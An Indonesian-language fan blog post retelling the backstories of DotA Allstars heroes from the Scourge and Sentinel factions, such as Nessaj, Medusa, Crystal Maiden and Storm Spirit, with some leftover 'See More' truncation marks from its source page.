Tangan kanan dari Mithras, Dewa Kehancuran, Nessaj telah meningkatkan kekuatan yang telah diberikan kepadanya untuk menciptakan kehancuran dan kejahatan. Dia berpihak kepada mereka yang membenci Tuhan. Dia menggunakan keahliannya untuk memanggil energi chaotic untuk melukai dan menghentikan musuhnya selama beberapa saat lalu mengerahkan seluruh kekuatannya untuk menjatuhkan siapapun yang menghalangi jalannya. Kekuatannya dipusatkan untuk menjadi Phantasm yang mengerikan, menciptakan bayangan dirinya yang melakukan serangan seperti dirinya, membingungkan di medan perang dan menghancurkan pasukan Tuhan.

Banehallow - Lycanthrope


Banehallow adalah mahluk yang diciptakan oleh Scourge dari sifat seekor binatang. Selama bertahun-tahun dia hidup didalam hutan tergelap dunia, memburu siapapun yang tak bersalah disana. Sekarang dia dipanggil untuk membantu tuannya. Dia mengamuk dengan darah dalam pertempuran, menggunakan kekuatan srigala untuk memanggil mahluk buas disampingnya dan mengaum untuk memberikan kekuatan kepada rekannya. Dia juga sangatlah cepat dan gesit, beberapa berkata dia bahkan dapat berubah menjadi srigala raksasa, memberinya kekuatan dan kecepatan untuk mencakar dan menggigit tanpa ampun.

Black Arachnia - Broodmother


Dahulu dia adalah Ratu dari para Nerubians, dia menyebarkan ketakutan kedalam hati mereka yang dia perintah. Tetapi dia membuat satu kesalahan fatal dengan mencintai pembunuh bayaran Anub'Arak, dan diasingkan dari kerajaannya sendiri. Sekarang dia membantu cinta sejatinya didalam peperangan ancient, mengerahkan seluruh ... See Morekemampuannya sebagai simbol dari cintanya yang tak pernah mati. Seorang ahli dalam menciptakan jaring yang dapat membuatnya tak terlihat, dia memiliki kekuatan untuk melemahkan siapapun yang berani menyerangnya, dan menyuntikkan telur anak-anaknya kedalam tubuh mereka yang akan meledak keluar dari mayat korbannya. Rasa haus akan peperangan membantunya tumbuh semakin kuat dan membuatnya mandiri, meyakinkan orang lain bahwa rasa laparnya pada daging, tidak akan pernah terpuaskan.

Motred - Phantom Assassin

Dilahirkan sebagai seorang Warden dari Night Elf dan diasingkan oleh para tokoh Night Elf, Motred berpihak kepada Scourge untuk membalas dendam. Perpaduan sempurna antara kekuatan dan kecepatan, bertahun-tahun dihabiskannya sendirian di hutan Ashevale membuatnya menjadi bersatu dengan alam, muncul seperti bayangan dan menyerangmu ketika tak terduga. Serangannya yang sangat mematikan membuatnya menjadi aset yang berharga bagi Scourge, dan itulah kenapa dia disebut sebagai Phantom Assassin

Medusa - Gorgon

Sang putri Naga diberi nama ketika gorgon yang legendaris merubah musuhnya menjadi batu. Meskipun dia belum dapat melakukannya, keahliannya dalam bertarung akan membekukan petarung terkuat. Latihan memanah selama bertahun-tahun membuatnya dapat menembakkan beberapa panah sekaligus dengan tingkat akurasi yang tepat. Dia dapat memanipulasi sihir sehingga memberinya pelindung mana yang menyerap serangan fisik. Mengumpulkan energi di udara, dia dapat menciptakan energi listrik yang memantul kepada musuh-musuhnya. Nama legendaris itu patut disandangnya.

Balanar - Night Stalker

Balanar dulunya adalah seorang Dreadlords elite sebelum kehancuran Burning Legion. Sekarang dengan hilangnya Burning Legion, dia menghabiskan waktunya menyerang warga dan menyergap musuhnya yang paling dia benci - para night elves. Dia mendapatkan kekuatannya dari bulan, dan dia menjadi lebih kuat di malam hari. Balanar juga dapat merubah waktu menjadi malam hari untuk membuatnya semakin kuat. Kehadirannya meyebarkan ketakutan kepada hati semua orang.

King Leoric - Skeleton King


Dahulu ada seorang Ksatria terhormat yang melindungi kerajaannya, orang itu dikirim ke neraka, dimana dia disiksa berkali-kali selama beberapa abad. Sekarang, Lucifer telah mengirimnya kembali ke dunia, menjadi jahat dan tak memiliki pikiran, sebagai King Leoric, sang Skeleton King. Dia berjalan, memimpin pasukannya yang tidak mengenal rasa lelah, hanya mengetahui satu hal: perintah yang diberikan padanya oleh pemimpin kegelapan. Dapat menyerang musuhnya dengan palu sihir yang kuat, King Leoric adalah ancaman besar di medan perang. Pedang hebatnya membuat dirinya dan siapapun yang berada disekitarnya dapat menyerap darah musuh mereka. Dikatakan bahwa dia tak dapat dibunuh, dan siapapun yang terjatuh oleh serangan palunya, tidak akan bangun kembali.

Lucifer - Doom Bringer

Lucifer adalah pemimpin dari pasukan penyerang Doomguard milik Burning Legion dalam serangan pertama mereka oleh Penguasa Kegelapan Sargeras. Dengan tuannya yang sekarang sudah lama hilang, Lucifer memberikan kesetiannya kepada Scourge untuk menyelesaikan apa yang tuannya dulu mulai. Memakan musuhnya karena keserakahannya ... See Moresementara jiwa pemberani musuhnya menjadi luntur menghadapi kekuatannya dan panas dari tanah yang terbakar, Lucifer tidak membawa tawanan dan meyakinkan siapapun musuh yang berhadapan dengannya akan mati dan terbakar oleh Doom itu sendiri.

Anub'arak - Nerubian Assassin

Anub'arak dulunya seorang Ksatria terhebat diantara para Neribuans, tapi gugur dalam peperangan para Laba-laba. Dia dibangkitkan kembali oleh Ner'zhul sang Lich King, yang menjanjikannya keabadian sebagai balasan dari kesetiannya. Kulitnya yang terdiri dari duri tajam hampir tak terhancurkan, mengakibatkan luka kepada penyerangnya. Ketika terancam, dia menembakkan duri ini kepada musuhnya, melukai dan membuat mereka pusing. Dia mengumpulkan kekuatan gelapnya menjadi bola energi negatif, dan mereka yang melihatnya menyatu dengan bayangan tidak pernah hidup untuk menceritakan kisahnya.

Sladar - Slitheeren Guard


Sang Raja Hebat dari Bangsa Naga, Sladar terbangun dari dasar lautan setelah invasi oleh Burning Legion. Melihat bahwa dunianya mulai hancur, dia mendapatkan kesempatan sempurna untuk menghancurkan night elves yang dia benci. Berpihak kepada Scourge, Sladar menggunakan kekuatannya untuk menyerang dan menghancurkan musuhnya, dan Tombak Saktinya dapat menembus armor terkuat dengan mudah.

Akasha - Queen Of Pain

Akasha adalah salah satu dari banyak jiwa yang dimiliki oleh sang Pedang, Frostmorne, dibangkitkan untuk melayani Lich King sebagai Banshee, dia berhasrat untuk menjadi murni kembali. Pergi jauh kedalam hutan, dia dapat menghasut beberapa Succubus untuk menjadi pengikutnya. Dengan gelarnya yaitu Queen of Pain (Ratu Penderitaan), dia sangat menikmati melukai musuhnya, menggunakan serangan beracun yang didapatkannya dari para succubus dan teriakan setan yang berasal dari bakat alaminya sebagai Banshee, Akasha menghancurkan gendang telinga musuhnya dengan teriakan yang memekakan telinga, lalu mengeluarkan gelombang besar yang menyapu tanah, menghancurkan apapun yang dilaluinya.

Clinkz - Bone Fletcher

Api abadi yang berasal dari Pemanah Elven yang gugur membuktikan bahwa dia tidak pernah bisa mati. Clinkz mencari kesempurnaan dalam seni memanah dan tidak ragu untuk mengorbankan rekannya sebagai tumbal. Masih memiliki keahlian untuk bergerak bersama angin, dia siap untuk membantai pimpinan musuhnya dengan kecepatan dan ketepatan panahnya. Sang Fletcher menembakkan panah yang membakar targetnya dengan panas api neraka, membawa mereka semakin dekat menuju kematian. Seorang pemanah Elven dalam kehidupan, mimpi buruk dalam kematian. Selengkapnya...

STORY BEHIND DOTA ALLSTARS HEROES part.I

buat lo yang mau tau tentang cerita sekilas dibalik hero hero dotA Allstars .bisa baca artikel ini:

DEFENDS OF THE ANCIENT ALLSTARS HEROES :

Vengeful Spirit - Shendelzare Silkwood

Shendelzare adalah seorang Warden, dihianati dan dibunuh oleh Motred yang dia percayai. Dengan nafasnya yang sekarat, dia berdoa kepada Elune untuk memberinya kesempatan membalas kematiannya. Meskipun tubuhnya mati, arwahnya yang penasaran hidup didalamnya. Kehadirannya adalah penyemangat bagi rekannya, sementara musuh takut ... See Moredengan kehadirannya. Menggunakan kekuatan dunia arwah, dia dapat menyerang musuhnya dengan energi sihir murni dan menukar posisi dengan yang lain.

Zeus - Lord of Olympia

Dihukum karena membantu Sentinel dalam peperangan duniawi mereka, Zeus diasingkan oleh Tuhan dan dilucuti sebagian besar kekuatannya. Meski dalam wujud yang lemah, serangan petirnya tiada bandingan. Dia memiliki kekuatan yang dapat menyerang satu atau banyak musuh, membuatnya menjadi seorang mantan dewa yang ahli.

Aiustha - Enchantress

Meskipun semua Dryard adalah Putri dari Cenarius. Aiustha dikatakan menjadi yang pertama dan kesayangannya. Karena memiliki hubungan darah dengan Cenarius, dia mewarisi banyak kekuatan miliknya. Hal ini diperlihatkan ketika dia mengendalikan Wisps pemalu yang digunakannya untuk menyembuhkan rekannya, dan keahliannya untuk menghasut musuh untuk menuruti keinginan Sentinel. Lebih menyukai pertarungan jarak jauh dibandingkan jarak dekat, dia merubah tombaknya yang menyerang lebih kuat jika semakin jauh musuhnya berada. Kecepatannya tak tertandingi, dan jika ada musuh yang berusaha membunuhnya, maka mereka akan melihatnya melarikan diri dengan sangat mudah.

Mophling - The Morphling

Sang Morphling, keajaiban alam, penyimpangan dari evolusi, dapat merubah cairan tubuhnya untuk mengalir menuju musuh dalam bentuk ombak penghancur, memaksanya untuk bergerak sekaligus melukai musuhnya. Jika ingin dia dapat merubah komposisi tubuhnya, menukar kekuatan dengan kecepatan atau sebaliknya. Dapat memanipulasi energinya menjadi menghentikan atau melukai berdasarkan attribut terkuatnya, kekuatan sang Morphling yang paling mengganggu adalah menciptakan replika dari targetnya, memaksa mereka menghadapi bayangan mereka sendiri sementara dia menghancurkan mereka dalam kebingungan.

Rylai Crestfall - Crystal Maiden

Ahli dalam memanipulasi es dan salju, Rylai adalah yang terbaik dalam keindahan dan kecantikan. Dilatih oleh Penyihir Legendaris didalam hutan Winterspring. Rylai membawakan Sentinel keahliannya dalam seni sihir. Dengan mantra kuat yang diucapkannya, dia menghancurkan tanah dibawah musuhnya, apakah itu kekuatan ledakan es untuk membuat musuhnya kabur dalam panik, atau membuat mereka terkurung dalam es. Musuhnya bergetar ketakutan ketika tanah dibawah mereka meledak karena badai salju yang sangat hebat, menciutkan nyali siapapun yang berani menantang dirinya.


Sven - Rogue Knight


Pengikut setia dari sang Dewa Perang, Paladine. Sven telah bersumpah untuk membela yang benar. Dilahirkan sebagai seorang Ksatria sekaligus seorang Night Elf dan berbakat sejak lahir, Sven telah dibimbing dalam meditasi dan latihan. Dia telah mendedikasikan hidupnya untuk melindungi yang tak bersalah dari iblis. Bersenjatakan ... See MorePedang Keadilan yang diberkahi, dan memiliki kelebihan untuk menjatuhkan musuhnya dengan Kekuatan Dewa. Kemarahan Sven ditujukan kepada mereka yang bersalah.

Slithice - Naga Siren

Slithice selalu menjadi anak nakal diantara para Naga, kabur dari lingkungannya didalam lautan untuk mencari hal yang baru. Dalam perjalanannya dia bertemu dan jatuh cinta dengan seorang Orc muda yang berlatih untuk menjadi seorang Ahli Pedang. Meski dia tidak berpengalaman tapi dia banyak belajar cara bertarung dari para Ksatria yang ditemuinya. Ketika dia belajar cara untuk membuat perangkap dari seorang Raider lokal, sekelompok Scourge datang dan menginvasi, kekasihnya dibunuh didepan matanya. Dia menggunakan sihir Naga miliknya untuk membuat iblis tertidur lalu melarikan diri, dan sekarang memberikan dirinya kepada Sentinel, atas nama kekasihnya.

Raigor Stonehoof - Earthshaker


Di tanah terbuang, ada cerita tentang Ksatria Tauren yang dapat mengendalikan tanah. Mereka dapat menyatu dengan tanah dibawah mereka. Kesaktian mereka dapat mempengaruhi mental musuhnya. Para Ksatria ini sangat ditakuti karena dapat menggetarkan tanah dan menyebabkan gempa bumi. Sangat hebat sehingga kekuatannya dapat membuat tanah bergetar dalam setiap ucapan mantra. Sayangnya para Ksatria ini secara misterius hilang dari tanah tebuang. Ketika Pohon Dunia ( World Tree ) terancam, Sentinel mencari para Ksatria ini tapi hanya menemukan satu. Seorang yang muda, Raigor Stonehoof, berperang untuk menceritakan kehebatan para Ksatria Tauren ke medan perang.

Rikimaru - Stealth Assassin


Dilahirkan sebagai pewaris tahta dari kerajaan Satyr, Rikimaru dilatih oleh ksatria paling hebat dalam Ras nya. Tapi, kekuatan Burning Legion menghancurkan banyak bangsanya, membuat mereka menjadi mahluk tak berakal pikiran di hutan. Berniat untuk membalas dendam kepada Scourge, dia mengasah keahliannya untuk bertempur. Menggunakan tubuhnya yang kecil sebagai kelebihannya, dia dapat membuat dirinya tak terlihat, sehingga dapat menusuk musuhnya dari belakang. Dia juga dapat menggunakan asap tebal sebagai pelindung, untuk membuat musuhnya bisu dan menjadi hampir tak tersentuh.

Syllabear - Lone Druid


Syllabear dipisahkan sangat lama dengan orang tuanya demi rakyatnya.Merasa akan datangnya kehancuran mereka merubah anak mereka menjadi beruang dan mengirimnya kedalam hutan. Syllabear tumbuh kuat dan liar, seperti beruang yang menghuni hutan sebagai rumahnya. Menggunakan kekuatan druidic, dia dapat membuat dirinya menyerang sangat cepat, dan bahkan memanggil beruang kuat sebagai pelindung dirinya. Dibangkitkan menjadi wujud Elven oleh Furion sang Prophet, Syllabear telah mendapatkan wujud aslinya dan membawa semangat beruang ke medan perang.

Lina Inverse - Slayer

Lina Inverse adalah seorang penyihir yang hebat dan sangat terkenal karena suka membunuh penjahat (untuk mengambil hasil curian mereka) dan membunuh naga (tidak sengaja menghancurkan kota dalam prosesnya). Dia sangat ahli menembakan bola api kepada musuhnya, dan juga ahli dalam sihir kuat seperti Dragon Slave dan Laguna Blade... See More. Sangat menyukai emas dan senjata yang hebat, Lina berperang demi Sentinel karena dia dijanjikan hadiah jika dia membantu menghancurkan Frozen Throne.

Yurnero - Juggernaut

Menyayat melewati armor dengan sangat mudah. Berputar, menari seperti iblis, menyapu musuh dengan gerakan berputar. Puisi dalam gerakan, menyerang musuh demi musuh dalam sekejap mata. Yurnero mencari kesempurnaan. Mencoba untuk menjadi satu dengan pedangnya. Semua dilakukannya untuk memenuhi takdirnya sebagai Juggernaut yang tak terkalahkan

Nortrom - Silencer

Datang dari komunitas sihir Quel'Thalas, Nortrom adalah salah satu Ksatria Elvel yang paling kuat mempertahankan keseimbangan alam. Ahli dalam melemparkan Glaive Kuno, dan menggabungkannya dengan sihir natural yang dimiliki Blood Elves, dia dapat menyerap energi sihir musuhnya. Dengan menyatukan kekuatan sihirnya kepada Glaivenya, dia dapat menyebabkan luka yang sangat serius, mendapatkan intelligence dari setiap musuh yang dibunuhnya. Mengkonsentrasikan semua kekuatannya, dia dapat menyebabkan ketakutan didalam energi batin musuhnya, membuat mereka tidak dapat mengeluarkan jurusnya. Dia telah berjanji untuk menghancurkan Scourge dan sihir iblis mereka sampai nafas terakhirnya.

Rooftrellen - Treant Protector

Sebuah pohon yang sangat tua dan bijak, Rooftrellen hampir terbunuh karena invasi Burning Legion, tumbuh semakin kuat selama ribuan tahun, Rooftrellen telah mengabdikan kekuatan hebatnya kepada Sentinel. Dengan kekuatan alam, dia dapat menyembunyikan rekannya didalam hutan. Rooftrellen dibantu oleh alam dengan melindunginya oleh pelindung dari akar tebal dan mencengkram musuh yang dekat dengannya dalam akar yang keluar dari tanah, sehingga Rooftrellen dapat menghancurkan musuhnya menjadi debu dengan pukulannya yang kuat.

Darchrow - Enigma

Tercipta dari bintang yang jatuh dan penuh dengan kekuatan sihir, Darchrow adalah salah satu mahluk berbahaya yang pernah diciptakan, mengkonsumi ratusan planet menuju kehancuran dalam kebencian dan kelaparannya. Sekarang melayani Sentinel dengan tujuan yang tidak diketahui, Darchrow mengarahkan kebenciannya kepada Undead Scourge, dia dapat menggunakan rekannya sebagai portal untuk menghadirkan pelayannya. Dapat memanipulasi bayangan menjadi kekuatannya, kesukaannya adalah melepaskan lubang hitam diatas langit, menciptakan kehancuran yang menarik musuhnya semakin dekat dengan kematian.

Ezalor - Keeper of the Light

Guru dari cahaya dan manipulasi mana, Ezalor dulu adalah seorang pelajar, dan dianggap sebagai guru oleh semua orang. Tapi, karena terhasut dan menghianati rekannya ketika War Of the Magi (Perang para Magi) membuatnya dihukum dan diasingkan ke dunia arwah selamanya. Tetapi, karena kekuatannya yang hebat, Sentinel mengembalikannya ke dunia nyata untuk melawan Scourge. Sekarang, Ezalor memiliki tugas untuk membantu rekannya meskipun masa lalunya yang gelap diketahui banyak orang.

Ulfsaar - Ursa Warrior


Sebelum invasi oleh Scourge, sekelompok ras beruang pintar disebut Furbolds memiliki kehidupan sosial yang tenang jauh didalam hutan Azhara. Karena banyak jenis mereka dibunuh dan terhasut oleh para Undead, furbolds yang terisolasi terpaksa melarikan diri kepada Sentinel untuk berlindung. Sebagai gantinya, para furbolds mengirim Ksatria Ursa mereka yang paling hebat ke medan perang di pihak Sentinel. Marah karena tanah suci rakyatnya dihancurkan, Ulfsaar dapat menyerang dengan sangat brutal dan cepat, menggunakan kukunya yang setajam silet untuk melukai musuhnya dan mencabik-cabik mereka.

Aggron Stonebreaker - Ogre Magi

Ksatria dari Stoneblade Ogres, Aggron adalah yang terkuat dan terpintar dari Hero Sentinel. Jurusnya yang dapat menyerang musuh sekaligus membantu rekannya memiliki kekuatan yang sangat dasyat, kelebihannya adalah dapat menyerang musuh secara berkali-kali. Membantu Sentinel untuk melindungi tanah kelahirannya, dia menjadi Hero yang sangat berharga bagi Sentinel.

Boush - Tinker

Boush telah belajar banyak dalam teknologi goblin. Mekanikal sistem ini dapat membuatnya menyerang musuhnya dari jarak jauh, membuat dirinya aman. Dia juga dapat meningkatkan sistemnya sehingga senjatanya mampu menembak dengan sangat cepat. Sebuah demonstrasi dari kekuatan ilmu pengetahuan.

Furion- Prophet

Dunia tidak pernah aman, oleh karena itu Furion tidak akan pernah beristirahat. Pemimpin dari semua Night Elf, Furion bekerja keras untuk melindungi keamanan hutannya. Tidak heran jika dia yang membantu mengalahkan Archimonde dipanggil kembali untuk membantu Sentinel. Kekuatan alam tunduk padanya. Kekuatan alam melindunginya, pohon menjadi hidup atas perintahnya, angin dapat membawanya jauh ke tempat lain, dan alam itu sendiri menyerang semua yang melawannya. Dia lebih dari seorang Penjaga atau Pelindung, dia adalah seorang Penyelamat.

Azwraith - Phantom Lancer

Meskipun nama aslinya tidak diketahui rekannya, nama Azwraith sudah cukup. Seperti malaikat kematian, Azrael, dia bertarung untuk membersihkan dunia dari mereka yang memilih kematian. Dia dapat muncul dan menghilang seperti hantu, kadang muncul di banyak tempat dalam satu waktu. Azwraith mampu melambatkan undead dengan ... See Moremenggunakan tombaknya, setiap tusukan membawa mereka semakin dekat dengan dunia arwah. Tombak ini merupakan sumber kekuatannya yang sangat hebat yang membuatnya dapat melipatgandakan dirinya, kapanpun jika terkena darah dia dapat menggunakannya untuk menciptakan bayangan dirinya.

Tiny - Stone Giant

Muncul dari celah gunung di Ashenra, sang Stone Giant dilahirkan dari gunung itu sendiri. Tiny, raksasa yang baru lahir, meskipun tubuhnya kecil, tapi memiliki kekuatan seperti bukit. Dengan kekuatannya yang dasyat, dia dapat melemparkan apapun ke udara, termasuk bongkahan batu yang sangat besar sehingga menyebabkan hujan batu disekitar musuhnya. Karena kulitnya yang sangat keras, musuhnya akan kesulitan untuk menyerangnya. Seiring dengan waktu, tubuh Tiny akan tumbuh besar karena kekuatan magnetik yang tersembunyi didalam hatinya yang terbuat dari batu dan tanah mulai bangkit.

Squee & Splein - Goblin Techies

Sang Goblin Techies, sangatlah pintar, meskipun memiliki tubuh yang sangat kecil, tapi kekuatan mereka tak dapat diremehkan. Keturunan langsung dari para Goblin, para Techies memiliki keahlian dalam memasang ranjau didalam tanah, tak terlihat oleh mata telanjang. Setelah berlatih secara ektensif dengan Pendeta Vodoo Orchish dari Kalimdor, sang Techies dapat membuat musuhnya menjadi tak dapat bergerak karena efek dari ranjau yang mereka injak. Membuat musuhnya menjadi khawatir untuk berjalan disekitarnya.

Chen - Holy Knight

Pembawa pesan keadilan, yang membersihkan dunia dari iblis jahat, sang Holy Knight bergabung dalam perang melawan para Scourge selamanya untuk membuat suatu sejarah. Seorang ksatria berkuda dibawah bendera Hextar, sang Holy Knight berjanji membawakan kemenangan dan membalaskan dendam kepada siapapun yang berada di pihaknya, dan membersihkan keyakinan mereka dari kejahatan agar kembali kejalan yang benar. Karena kepopulerannya, pengikutnya berasal dari semua ras, semua latar belakang, dan tidak akan pernah berhenti sampai Scourge dihancurkan. Jika ada yang memanggil Tangan Tuhan yang menyentuh bumi, maka dia akan datang, bernama Chen, sang Holy Knight.

Luna Moonfang - Moon Rider

Luna Moonfang adalah pemimpin dan pengikut setia dari sang Dewi Bulan Elune. Dia berperang di pihak Sentinel dalam peperangan tiada akhir untuk membersihkan dunia dari para Scourge. Karena kesetiannya, dia telah diberikan sedikit kekuatan mistik milik Elune. Luna menggunakan berkahnya untuk memotong musuhnya. Dikatakan bahwa Luna dapat memanggil cahaya bulan, dan selalu dikelilingi oleh cahaya, seperti bulan itu sendiri. Luna adalah kebanggaan dari Sentinel, pengikut yang sangat setia.

Kardel Sharpeyes - Dwarven Sniper

Kardel Sharpeyes adalah namanya yang mewakili rasnya/ Hanya menggunakan keahliannya dalam menembak dan senapan kesayangannya, dia dapat membunuh musuhnya dari jarak jauh. Sangat hebat dalam membidik anggota tubuh yang sangat vital, dia dapat melukai musuhnya, dan dengan sedikit tambahan waktu, dia dapat membunuh musuhnya dari jarak yang sangat jauh dalam satu tembakan. Senapannya dilengkapi dengan peluru tambahan, yang dapat menembakkan beberapa peluru kearah musuhnya dari jarak dekat, yang mengakibatkan kerusakan hebat.

Jahrakal - Troll Warlord

Ketika Sentinel pertama kali mengumpulkan kekuatan, para Ksatria Troll sangatlah primitif dan bodoh. Kehormatan mereka terluka, banyak yang menolak untuk bergabung, bahkan beberapa memutuskan untuk bergabung dengan Scourge. Hanya seorang Warlord keras kepala bernama Jah'rakal yang bergabung dengan Sentinel. Dikenal sebagai "Kampak Buta" dalam bahasa Troll, kecepatan kampaknya dan keahliannya dalam membutakan musuhnya yang menjadi kelebihannya, kekuatannya yang tak dapat dihentikan membutanya menjadi legenda diantara rekannya. Tetapi Jah'rakal tidak bertarung demi Sentinel, atau bahkan mempertahankan Ancient, tapi untuk menunjukkan kepada Elves, Manusia, Orc dan siapapun bahwa Troll adalah Kstaria terbaik di dunia.

Rhasta - Shadow Shaman

Memiliki gelar sebagai Troll Witch Doctor, Rhasta muda sangatlah ahli dalam rahasia sihir voodoo. Ketika perang antara Sentinel dan Scourge dimulai, Rhasta menawarkan dirinya kepada Sentinel untuk menghancurkan Scourge selamanya. Ketika dia diberi gelar sebagai Witch Doctor, Rhasta sangatlah jenius dan memiliki keahlian sebagai seorang Shadow Hunter, mewarisi keahlian untuk menciptakan beberapa Serpent Ward dari Gurunya, mengikat musuhnya selama beberapa saat dan menyerang dengan kekuatan listrik yang dapat melukai beberapa musuhnya.

Rigwarl - Bristleback

Pemimpin terhormat dari rasnya, Rigwarl telah gagal memimpin peperangan untuk mempertahankan kampung halamannya melawan Scourge, dengan gelarnya yang hancur dan dendamnya kepada Scourge, dia menawarkan dirinya untuk bergabung dengan Sentinel. Dengan gaya bertarungnya yang brutal dan dapat menyemprotkan cairan lendir hijau yang dapat melambatkan musuhnya, dia menjadi seorang rekan yang bisa diandalkan dalam peperangan.

Mangix - Pandaren Brewmaster


Mangix berasal dari daerah yang rahasia dan tersembunyi yang terletak di pulau Pandaria. Dia hidup terisolasi didalam pengunungan Stonetalon, tapi kesucian Pandaria terpengaruhi oleh tangan hitam Scourge. Para elder mendengar tangisan dari yang tak bersalah, dan melihat darah dari yang terbantai, lalu mereka setuju untuk mengirim salah satu ksatria elit terhebatnya, berharap untuk menghentikan peperangan dan mengembalikan keseimbangan alam. Tapi mereka tidak tahu bahwa penjaga bar lokal telah mengajarinya sebuah jurus selama hidupnya.

Bradwarden - Centaur Warchief


Memiliki tubuh yang lebih besar dibandingkan Centaur lainnya, Bradwarden adalah pemimpin dari rakyatnya. Banyak rakyatnya yang menjadi jahat dan bergabung dengan Scourge, tapi Bradwarden terlalu terhormat untuk dapat terhasut oleh mereka. Dia harus berjuang untuk dapat melarikan diri dan sekarang, marah dan dendam, dia ingin membalas dendam kepada Scourge. Membacok musuh dengan kampaknya, dia sekuat gunung dan sangatlah sulit untuk menjatuhkannya.

Gondar - Bounty Hunter

Gondar asalah seorang Draenei yang sering dipanggil karena keahliannya yang sangat hebat. Tidak banyak yang diketahui tentang masa lalunya, tapi keahliannya tidak bisa diremehkan. Beberapa percaya bahwa dia belajar dari Clan Ninja sementara yang lainnya percaya dia dilahirkan dengan kekuatan itu. Dia dapat melemparkan Shuriken dengan tingkat akurasi yang sangat tinggi dan memiliki kekuatan untuk menyerang musuhnya dengan pedang kembar miliknya. Kecepatannya tidak tertandingi, dan dapat menghilang kapanpun dia inginkan. Yang dia inginkan dalam peperangan ini hanyalah uang, dan dia dijanjikan hadiah yang sangat banyak.

Rexxar - Beastmaster

Seorang ksatria hebat dari Mok'nathal, keturunan setengah orc dan setengah ogre yang melegenda, Rexxard dan kampak saktinya bergabung dengan Sentinel untuk melindungi dunia disekitarnya. Seorang teman dari binatang, Rexxar menebas dan mencabik musuhnya tanpa ampun, bahkan melemparkan ... See Morekampaknya seperti boomerang kepada musuhnya untuk membuatnya semakin dekat dengan kemenangan. Ksatria sejati dari planet kehidupan yang setia denganya, sang Beastmaster adalah seorang teman yang harus diperhitungkan jika dia sangat dibutuhkan.

Jakiro - Twin Head Dragon

Ditemukan sedang bertengger di akar pohon dunia secara tidak sengaja, Chimaera hebat ini mustahil untuk disingkirkan. Dengan kepala kembarnya dan sangat agresif, sifat yang tak dapat ditebak, Jakiro adalah mahluk yang misterius, dan sangat loyal kepada Sentinel dengan alasan yang hanya dia ketahui sendiri.Karena kekuatan mistiknya, dia memiliki keahlian untuk mengendalikan element es dan api. Ini membuatnya dapat menghancurkan apapun yang berada didepannya, dan dia sangat ahli untuk membuat lawannya tetap didalam jalur kematiannya. The Scourge harus waspada dengan naga yang satu ini, atau mereka akan membeku dan bergetar ketika Frozen Throne mereka yang berharga meleleh didepan mata mereka sendiri.

Razzil Darkbrew - Alchemist

Seorang Alchemist Elit dengan kaliber tertinggi, Razzil disewa oleh Sentinel untuk bereksperimen mengembangkan senjata kimia melawan Scourge. Ketika dalam pertempuran, dia menaiki Ogre Gunung Raksasa yang melayaninya sebagai obyek percobaan kimianya, dia dapat merubah dirinyanya menjadi monster yang sangat berbahaya.

Mirana Nightshade - Priestess of the Moon


Seorang pengikut setia dan high Priestess dari Elune, Mirana Nightshade melayani seperti cahaya di kegelapan untuk garis depan pasukan Sentinel, menghujani panah dan menurunkan bintang diatas pasukan mayat hidup dari undead Scourge, ketika kehadirannya dikatakan sangat suci sehingga dapat melelehkan ketakutan rekannya, membuat mereka bergerak semakin cepat dalam pertempuran. Ketika dibutuhkan, dia dapat menghilangkan dirinya dan siapapun disekitarnya kedalam bayangan, membuatnya menjadi rekan yang sangat dibutuhkan.

Raijin Thunderkeg - Storm Spirit

Seorang elementalis hebat diantara kaumnya, Raijin adalah seorang guru dalam memanipulasi listrik dan menggunakannya dengan cara yang unik untuk meningkatkan posisi Sentinel terhadap Scourge, yang paling aneh adalah keahliannya mengikat dirinya dan teman disekitarnya dengan listrik untuk terbang menuju satu target yang memberikan serangan kejutan. Selain itu, dia seorang yang sangat bersahabat ketika dipanggil. Selengkapnya...

About

baca artikel untuk inspirasimu hari ini :) enjoy ur day !